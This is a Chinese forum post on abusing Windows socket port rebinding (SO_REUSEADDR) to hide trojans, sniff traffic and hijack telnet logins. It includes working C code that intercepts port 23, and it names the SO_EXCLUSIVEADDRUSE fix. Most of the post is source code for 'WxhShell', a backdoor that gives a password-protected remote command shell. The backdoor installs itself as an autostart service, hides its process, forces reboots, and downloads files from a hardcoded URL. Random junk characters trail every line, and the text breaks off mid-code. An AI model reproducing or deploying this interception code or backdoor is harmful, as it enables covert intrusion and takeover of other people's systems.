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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: K]j0_~3s  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :^Fh!br==  
e"'#\tSG  
  saddr.sin_family = AF_INET; zGc: @z  
n+BJxu?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3/b;7\M  
2*N_5&9mE  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); OM|Fwr$  
.Wq@gV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 K"b`#xN(t  
ZR$'u%+g'  
  这意味着什么?意味着可以进行如下的攻击: Yr w$  
?W0)nQU  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^':!1  
j:,NE(DF  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) F:D orE  
<JV"@H=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 m8 SA6Y\  
(`6T&>(4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9elga"4:'  
OKi\zS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 vTaJqEE  
$b<6y/"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =xsTDjH>  
ovwQ2TuK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 GEEW?8  
uA$<\fnz  
  #include m85WA # `  
  #include ?x+Z)`w_  
  #include O/.Uh`T`6  
  #include    *dvDap|8W  
  DWORD WINAPI ClientThread(LPVOID lpParam);   t ^[8RhD  
  int main() xB@|LtdO9;  
  { { .*y  
  WORD wVersionRequested; uP<0WCN  
  DWORD ret; WHAQu]{  
  WSADATA wsaData; gqR)IVk>%  
  BOOL val; % , N<  
  SOCKADDR_IN saddr; 0<8XI>.3D  
  SOCKADDR_IN scaddr; UjOB98Du  
  int err; }?&k a$rI  
  SOCKET s;  Y!WG)u5  
  SOCKET sc; ,R$u?c0>'&  
  int caddsize; <H0R&l\  
  HANDLE mt; OiAJ[L  
  DWORD tid;   =1P6Vk  
  wVersionRequested = MAKEWORD( 2, 2 ); hXb%;GL  
  err = WSAStartup( wVersionRequested, &wsaData ); Qfky_5R\  
  if ( err != 0 ) { T ]j.=|,d  
  printf("error!WSAStartup failed!\n"); Y3h/~bM%  
  return -1; ]c&<zeX,  
  } 4GR!y)  
  saddr.sin_family = AF_INET; {8R"O{  
   McoK@q ;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <BSc* 9Q  
P_c,BlfGMH  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); oW^*l#v  
  saddr.sin_port = htons(23); gORJWQv  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \`ZW* EtPI  
  { ]r3Kg12Mi  
  printf("error!socket failed!\n"); S}f?.7  
  return -1; =C L} $_  
  } 2o#,kGd  
  val = TRUE; 4O:W#bx  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <$N"q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) uNn[[LS  
  { :K ~  
  printf("error!setsockopt failed!\n"); H33i*][H  
  return -1; \}~s2Y5j  
  } Y-'78BJk  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; U xD5eJJ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Kf 2jD4z}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 fK&e7j`qO  
@:tj<\G]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) G&;j6<hl  
  {  be e5  
  ret=GetLastError(); LTJc,3\,  
  printf("error!bind failed!\n"); [>^PRs  
  return -1; DAg58 =qJ  
  } RNPbH.  
  listen(s,2); sz-- 27es  
  while(1) __[xD\ES  
  { A~Xq,BxCV  
  caddsize = sizeof(scaddr); zZiJ 9 e  
  //接受连接请求 15$4&=O  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P/JK$nb  
  if(sc!=INVALID_SOCKET) T6pLoaKu  
  { *jMk/9oa<N  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }pa9%BQI  
  if(mt==NULL) 4d_s%n?C  
  { l;sy0S"DO]  
  printf("Thread Creat Failed!\n"); Bm\qxQ  
  break; _5MNMV LwW  
  } QRLJ_W^&u  
  } )RYG%  
  CloseHandle(mt); M(d6Z2ibh  
  } (~)%Fo9X"  
  closesocket(s); YUQtMf9  
  WSACleanup(); mR8W]'gl.L  
  return 0; N$TL;T>  
  }   ;pD)m/$h`  
  DWORD WINAPI ClientThread(LPVOID lpParam) htm{!Z]s0  
  { q> s-Y|  
  SOCKET ss = (SOCKET)lpParam; h;V,n  
  SOCKET sc; w[_x(Ojq;  
  unsigned char buf[4096]; Z?J:$of*  
  SOCKADDR_IN saddr; y fSM  
  long num; X%bFN  
  DWORD val; 0t#g }  
  DWORD ret; ]O{u tm  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .Hc(y7HV  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   okq[ o90  
  saddr.sin_family = AF_INET; N~pIC2Woo  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r}u%#G+K,  
  saddr.sin_port = htons(23); $6F)R|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xsjO)))f  
  { Pv<FLo%u<  
  printf("error!socket failed!\n"); Jdy <w&S  
  return -1; 1Uf*^WW4  
  } +Z!;P Z6  
  val = 100; M[~{Vd  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `]$?uQ  
  { M+wt_ _vHf  
  ret = GetLastError(); sA9 &/p/  
  return -1; -ng=l;  
  } 8hA^`Y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Fg/dS6=n`?  
  { XYx 6V  
  ret = GetLastError(); gPzL*6OS A  
  return -1; h{ lDxOH*  
  } 44\>gI<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7@a 0$coP  
  { 8u2+tB  
  printf("error!socket connect failed!\n");  n i  
  closesocket(sc); }.)s%4p8  
  closesocket(ss); cgC\mM4Nla  
  return -1; #JA}3]  
  } A>NsKWf{  
  while(1) X E}H3/2  
  { }<MR`h1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +:6Ii9G N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &X`u9 V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5j"1z1_&  
  num = recv(ss,buf,4096,0); 6@tvRDeaDW  
  if(num>0) Ni*Wz*o  
  send(sc,buf,num,0); IfDx@?OB  
  else if(num==0) 4c~>ci,N?(  
  break; PiLJZBUv  
  num = recv(sc,buf,4096,0); 5 / m$)wE  
  if(num>0) Uz%Z&K  
  send(ss,buf,num,0); $R8w+ Id  
  else if(num==0) ^TXfsQs  
  break; -Uo?WXP]B'  
  } [O-sVYB  
  closesocket(ss); 5 waw`F  
  closesocket(sc); ,]Zp+>{  
  return 0 ; *.f2VQ~H  
  } &jV_"_3n  
~9D~7UR  
1xnLB>jP#  
========================================================== G>T')A  
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下边附上一个代码,,WXhSHELL A%Z)wz{  
(}!C4S3#  
========================================================== Snf"z8sw  
ID};<[  
#include "stdafx.h" S"snB/  
,D80/2U^  
#include <stdio.h> `PI(%N  
#include <string.h> j<tq1?? [b  
#include <windows.h> t~K%.|'0  
#include <winsock2.h> #~?kYCtC)  
#include <winsvc.h>  eIPG#A  
#include <urlmon.h> :ipoD%@  
m4ApHM2  
#pragma comment (lib, "Ws2_32.lib") -E&e1u,Mi  
#pragma comment (lib, "urlmon.lib") ul5|.C  
!)NidG  
#define MAX_USER   100 // 最大客户端连接数 5b #QYu  
#define BUF_SOCK   200 // sock buffer us)*2`?6t  
#define KEY_BUFF   255 // 输入 buffer ,[48Mspp  
H!IDV }dn  
#define REBOOT     0   // 重启 i4Z4xTn  
#define SHUTDOWN   1   // 关机 >tRHNB_  
Lx|',6S  
#define DEF_PORT   5000 // 监听端口 d-!<C7O}  
=N.!k Vkl  
#define REG_LEN     16   // 注册表键长度 ^!: "Q3  
#define SVC_LEN     80   // NT服务名长度 FT\?:wpKa  
h:qHR] 8dZ  
// 从dll定义API X=p"5hhfn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $v;dV@tB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #] KgUc5B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8IY19>4'5J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yOHXY&  
3" Vd==oK~  
// wxhshell配置信息 e(\I_  
struct WSCFG { _Sj}~ H  
  int ws_port;         // 监听端口 ;q#]-^  
  char ws_passstr[REG_LEN]; // 口令 fu\s`W6f&  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^nDal':*  
  char ws_regname[REG_LEN]; // 注册表键名 6`nR5fh  
  char ws_svcname[REG_LEN]; // 服务名 gp< =Gmd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Jj"HpK>[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hol<dB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eG] a zt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }VRv sZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9zKBO* p`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O+ .*lo  
Z>A{i?#m  
}; -$4kBYC l+  
3 (lVmfk  
// default Wxhshell configuration W"(u^}  
struct WSCFG wscfg={DEF_PORT, Q .RO  
    "xuhuanlingzhe", "G?9b  
    1, oh}^?p  
    "Wxhshell", - @bp4Z=  
    "Wxhshell", *v #/Y9}  
            "WxhShell Service", ZCiY,;c  
    "Wrsky Windows CmdShell Service", o42`z>~  
    "Please Input Your Password: ", Pern*x9$  
  1, {7#03k  
  "http://www.wrsky.com/wxhshell.exe", WfVMdwz=  
  "Wxhshell.exe" K; kM_%9u  
    }; C|e+0aW  
`1'5j "v  
// 消息定义模块 Lar r}o=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^Vo"fI`=C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g6' !v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IcoowZZ   
char *msg_ws_ext="\n\rExit."; E/ O5e(h  
char *msg_ws_end="\n\rQuit."; E 5kF^P  
char *msg_ws_boot="\n\rReboot..."; @FX{M..  
char *msg_ws_poff="\n\rShutdown..."; %!W%#U0  
char *msg_ws_down="\n\rSave to "; pieT'mA  
E <@\>y.[  
char *msg_ws_err="\n\rErr!"; .9 kyrlm  
char *msg_ws_ok="\n\rOK!"; h[U7!aM  
j@P5(3r  
char ExeFile[MAX_PATH]; O-GxUHwW r  
int nUser = 0; %Y',|+Arx  
HANDLE handles[MAX_USER]; nm):SEkC  
int OsIsNt; ! zfFt;  
:EB,{|m  
SERVICE_STATUS       serviceStatus; dB)9K)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %,?vyY  
`jW 4H$D  
// 函数声明 do' ORcZ  
int Install(void); !C`20,U  
int Uninstall(void); +i)AS0?d  
int DownloadFile(char *sURL, SOCKET wsh); nPf'ee  
int Boot(int flag); ,f<B}O  
void HideProc(void); euZ(}+N&  
int GetOsVer(void); ?`. XK}  
int Wxhshell(SOCKET wsl); zD_H yGf  
void TalkWithClient(void *cs); =~,l4g\  
int CmdShell(SOCKET sock); 1ih*gJPpj  
int StartFromService(void); 8ui=2k(  
int StartWxhshell(LPSTR lpCmdLine); NV~vuC  
Zz")`hUG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tp+=0k2i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &7][@v  
)F E8D  
// 数据结构和表定义 0M\NS$u(Y  
SERVICE_TABLE_ENTRY DispatchTable[] = 3H'*?|Y(#  
{ >EBC 2WJ  
{wscfg.ws_svcname, NTServiceMain}, K -E`y  
{NULL, NULL} DB8s  
}; ADBpX>  
41 'EA \V  
// 自我安装 eBvW#Hzp  
int Install(void) kH2oK:lN  
{ }xJR.]).KW  
  char svExeFile[MAX_PATH]; C1ZyB"{  
  HKEY key; o*;2mFP  
  strcpy(svExeFile,ExeFile); )Pa*+ew7  
+2yF|/WW#  
// 如果是win9x系统,修改注册表设为自启动 u:5IjOb2^  
if(!OsIsNt) { $3:X+X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \_>?V5(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @LC~*_y   
  RegCloseKey(key); UT;4U;a,m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~,Mr0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dJE`9$jN  
  RegCloseKey(key); %yhI;M^  
  return 0; @ RX`>r{_  
    } |D(&w+(  
  } {Y "8~  
} ||fvKyKW>  
else { Q 3X  
m+7`\|`jQ  
// 如果是NT以上系统,安装为系统服务 q\_DJ)qpn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <i7agEdZD  
if (schSCManager!=0) qZ?{-Vw  
{ kxy]vH6m  
  SC_HANDLE schService = CreateService bQV("~#  
  (  2$)mC9  
  schSCManager, 1gk0l'.z  
  wscfg.ws_svcname, x Ty7lfSe  
  wscfg.ws_svcdisp, D+hB[*7Fs  
  SERVICE_ALL_ACCESS, 19w_tSg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |Cq8%  
  SERVICE_AUTO_START, ;%!tf{Si  
  SERVICE_ERROR_NORMAL, $2is3;h  
  svExeFile, wO!% q[  
  NULL, \gP. \  
  NULL, &/DOO ^  
  NULL, i\vpGlx  
  NULL, Z?C4a }  
  NULL DA=qeVBg  
  ); &58 {  
  if (schService!=0) V0S6M^\DK  
  { #AvEH=:  
  CloseServiceHandle(schService); %A=|'6)k2  
  CloseServiceHandle(schSCManager); QSv^l-<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N+hedF@ZU  
  strcat(svExeFile,wscfg.ws_svcname); *LEu=3lp%>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bkkSIl+Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _y"a2M  
  RegCloseKey(key); p4y6R4kyT  
  return 0; LhZZc`|7t  
    } -B,cB  
  } <oZ(ng@X  
  CloseServiceHandle(schSCManager); A$N+9n\  
} oL)lyUVT  
} &p )@8HY  
1oB$u!6P  
return 1; qz87iJp&  
} +`9yZOaC#  
9D%qXU  
// 自我卸载 u(8~4P0w  
int Uninstall(void) F6DxvyANr  
{ {9Db9K^  
  HKEY key; MN\i-vAL8  
A ^-Z)0 :  
if(!OsIsNt) { yW{mK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *b:u * `@  
  RegDeleteValue(key,wscfg.ws_regname); X;(oz]tr$  
  RegCloseKey(key); 3]!h{_:u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YK7\D:  
  RegDeleteValue(key,wscfg.ws_regname); % kJh6J  
  RegCloseKey(key); i<J^:7  
  return 0; xSdN5RN  
  } -ywX5B  
} 8F\~Wz7K  
} m'3OGvd  
else { ^uM_b  
BB0g}6M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /G{&[X<4U  
if (schSCManager!=0) 8NxUx+]  
{ I7A7X*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %-\FVKX  
  if (schService!=0) Y' 2-yB  
  { F9F" F  
  if(DeleteService(schService)!=0) { 3>H2xh3Y  
  CloseServiceHandle(schService); +jv }\Jt  
  CloseServiceHandle(schSCManager); G2=F8kL  
  return 0; D 8gQR Q  
  } ?U}sQ;c$  
  CloseServiceHandle(schService); vwm|I7/w  
  } y9=t;qH@|  
  CloseServiceHandle(schSCManager); .zQ4/  
} ; A x=]Q  
} ]"C| qR*  
YGfA qI y  
return 1; gHp'3SnS  
} >c}:   
0&.LBv8  
// 从指定url下载文件 zoR,RBU6  
int DownloadFile(char *sURL, SOCKET wsh) $xLEA\s  
{ e',hC0&S  
  HRESULT hr; F19;RaP+  
char seps[]= "/"; (6e!09P&  
char *token; 9qnuR'BDu  
char *file; Tavtr9L0XY  
char myURL[MAX_PATH]; TlM'g6SQS  
char myFILE[MAX_PATH]; ) )fDOJ  
dko[  
strcpy(myURL,sURL); ZYrKG+fkl  
  token=strtok(myURL,seps); XCW+ pUX  
  while(token!=NULL) "9)1K!tH  
  { bta0? O #  
    file=token; UENYJ*tnP  
  token=strtok(NULL,seps); jQY >9+t  
  } -[G/2F'  
[[#xES21F  
GetCurrentDirectory(MAX_PATH,myFILE); :yd=No@  
strcat(myFILE, "\\"); 5wT' ,U"+  
strcat(myFILE, file); b$;HI7)/K  
  send(wsh,myFILE,strlen(myFILE),0); ] dW%g?  
send(wsh,"...",3,0); RmcYa j^=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Tbe_x s^  
  if(hr==S_OK) cZPbD;e:  
return 0; cjCE3V9X  
else zG& WWc`K  
return 1; [6Uudiw  
QWU5-p9e8  
} _K 4eD.  
$ijx#a&O  
// 系统电源模块 Wpiv1GZ%c8  
int Boot(int flag) HR/k{"8W4Q  
{ L#@l(8.  
  HANDLE hToken; , LCH2r  
  TOKEN_PRIVILEGES tkp; PpX{+^z-%  
L-^# 02  
  if(OsIsNt) {  Bq~AU#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gn-=##fT:i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (2\li{$e  
    tkp.PrivilegeCount = 1; `=_7I?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0L3Bo3:k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (1QdZD|  
if(flag==REBOOT) { _Ym&UY.u#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *O"%tp6  
  return 0; !X \Sp}  
} wxdh?sQ  
else { ,apd3X%g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tXssejiE%  
  return 0; MAsWds`bpB  
} u.ULS3`C/X  
  } f]@[4<Ny  
  else { !Ei Ze.K  
if(flag==REBOOT) { 7H8GkuO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 44Seq  
  return 0; Y!K^-Y}  
} ;g;,%jdCS  
else { 4<=eK7;XR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eukX#0/^  
  return 0; z6GL,wo#  
} ~$ cm9>  
} A"P\4  
F9>(W#aC  
return 1; }w|=c >'_}  
} Hl4vLx@  
&F@tmM~  
// win9x进程隐藏模块 '=@-aVp  
void HideProc(void) KD[)O7hYC  
{ aufcd57  
b;&Yw-\nZ;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `Gy>tD.#V-  
  if ( hKernel != NULL ) ~m,mvRS  
  { MY0[Oq cm=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +oxqS&$L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'ugR!o1  
    FreeLibrary(hKernel); BP7<^`i&  
  } \kua9bK  
$S"zxEJJ Y  
return; %j 9vX$Hj  
} W#oEF/G  
;DT"S{"7  
// 获取操作系统版本 >o=axZNa  
int GetOsVer(void) 8yJk81 gY  
{ ;n:H6cp  
  OSVERSIONINFO winfo; |r<.R>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $w2[5|^S  
  GetVersionEx(&winfo); juve9HaW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z(Ls#hp  
  return 1; Px^<2Q%Fs  
  else Yc|-sEK/  
  return 0; A61-AwvF8-  
} *`\4j*$^  
&L[8Mju6  
// 客户端句柄模块 qZyt>SAx  
int Wxhshell(SOCKET wsl) y7}~T!UyfF  
{ 2_ZHJ,r   
  SOCKET wsh; IAt+S-q0  
  struct sockaddr_in client; N8/Au=De_  
  DWORD myID; Ed ?Yk* 4  
|?pYJkrYO  
  while(nUser<MAX_USER) <7RkM  
{ \a~;8):q=i  
  int nSize=sizeof(client); XH_qA[=c]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Cbf,X[u  
  if(wsh==INVALID_SOCKET) return 1; :">~(Rd ZH  
*I;Mp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 37za^n?SG  
if(handles[nUser]==0) \sXm Mc  
  closesocket(wsh); u+, jAkr  
else O7L6Htya  
  nUser++; XQJV.SVS  
  } }gi`?58J6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @Z1?t%1  
G1n>@Y'j''  
  return 0; g'l7Jr3  
} Q%b46"  
vp9E}ga  
// 关闭 socket C9^elcdv  
void CloseIt(SOCKET wsh) `zvT5=*-#  
{ u.xA}yVS  
closesocket(wsh); U%S NROj  
nUser--; =fu_ Jau}  
ExitThread(0); 0^-b}  
} iaq:5||,  
Ug[F3J|Mu  
// 客户端请求句柄 *^&iw$Qx3  
void TalkWithClient(void *cs) 36D,el In  
{ r:S5x.P2  
k+>p!1  
  SOCKET wsh=(SOCKET)cs; r0XGGLFuZl  
  char pwd[SVC_LEN]; >=RHE@  
  char cmd[KEY_BUFF]; ~A{[=v  
char chr[1]; K`AW?p^$Y  
int i,j; `:^)"#z)  
X#\P.$  
  while (nUser < MAX_USER) { 0^tJX1L  
#7E&16Fk  
if(wscfg.ws_passstr) { H6+st`{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BRQ5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )F9V=PJE  
  //ZeroMemory(pwd,KEY_BUFF); BM}a?nnoc  
      i=0; t3h \.(mq  
  while(i<SVC_LEN) { !un"XI0`t<  
rt4|GVa  
  // 设置超时 epm8N /  
  fd_set FdRead; l.t.,:  
  struct timeval TimeOut; 5Qe}v  
  FD_ZERO(&FdRead); 9#A{C!75(y  
  FD_SET(wsh,&FdRead); 7[VCCI g  
  TimeOut.tv_sec=8; ]`+"o[  
  TimeOut.tv_usec=0; UW~tS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JO;` Kz_$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U1@ P/  
d`rDEa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vt 5XC~jK  
  pwd=chr[0]; m:o$|7r  
  if(chr[0]==0xd || chr[0]==0xa) { aG&kl O>m  
  pwd=0; cVt$#A)  
  break; -Z#]_C{Y-)  
  } Wug?CFX+T  
  i++; EC&19  
    } CX@HG)l  
m_Y}>  
  // 如果是非法用户,关闭 socket |@uhq>&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Hwi7oXP  
} :Y&W)V-  
.m % x-i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N/SB}F j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n$VPh/  
enO=-#  
while(1) { Vf* B1Zb  
d(cYtM,P  
  ZeroMemory(cmd,KEY_BUFF); )fcpE,g'  
[;\< 2=H  
      // 自动支持客户端 telnet标准   r4qV}-E  
  j=0; ^*T{-U'  
  while(j<KEY_BUFF) { B=qRZA!DQ?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AF nl t  
  cmd[j]=chr[0]; w+ )GM  
  if(chr[0]==0xa || chr[0]==0xd) { [}B{e=`!  
  cmd[j]=0; {`SGB;ho  
  break; z j0pP{y  
  } ?>Ci`XlLr  
  j++; &rE l  
    } X\:(8C;+  
3R96;d;  
  // 下载文件 dXSb%ho  
  if(strstr(cmd,"http://")) { 2T?1X{g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?@7|Q/  
  if(DownloadFile(cmd,wsh)) ErUk>V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .*..pf|/  
  else eFI9S.6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >WG91b<Xq  
  } dJgOfg^  
  else { GAe_Z( T  
4zvU"np  
    switch(cmd[0]) { 3xR#,22:}  
  H<3b+Sg  
  // 帮助 k{$"-3ed  
  case '?': { BJ;cF"Kp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T%xL=STJNy  
    break; # SOj4W  
  } >@\?\!Go  
  // 安装 e(5Px!B  
  case 'i': { ^ C#bW <T  
    if(Install()) dtXJ<1:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "h|0]y^2  
    else E.*OA y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GeR -k9  
    break; 9!<3qx/  
    } 3). c [F^l  
  // 卸载 IOsDVIXL\  
  case 'r': { t ,Rn  
    if(Uninstall()) ."g5+xX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); faeyk]u  
    else 8&iI+\lCy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ))-M+CA  
    break; :re(khZq#  
    } E<[ bgL  
  // 显示 wxhshell 所在路径 Hm[!R:HW,S  
  case 'p': { 3^Q U4  
    char svExeFile[MAX_PATH]; 1T^L) %&p_  
    strcpy(svExeFile,"\n\r"); " ~hjB  
      strcat(svExeFile,ExeFile); H s 3*OhK\  
        send(wsh,svExeFile,strlen(svExeFile),0); o*S $j Cf?  
    break; X Ow^"=Oa[  
    } P_Ja?)GT  
  // 重启 Tm,L?Jh  
  case 'b': { Q>Q}/{8!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "uNxKLDB  
    if(Boot(REBOOT)) ^qy-el  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _A~gqOe  
    else { E^ti !4{<  
    closesocket(wsh); \?I wR]@y  
    ExitThread(0); Dy'l]vN$  
    } qt;Tfuo  
    break; V'4}9J  
    } %HS!^j3C%  
  // 关机 =C}<0<"iF  
  case 'd': { zIm!8a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &xT~;R^  
    if(Boot(SHUTDOWN)) ZX}"  
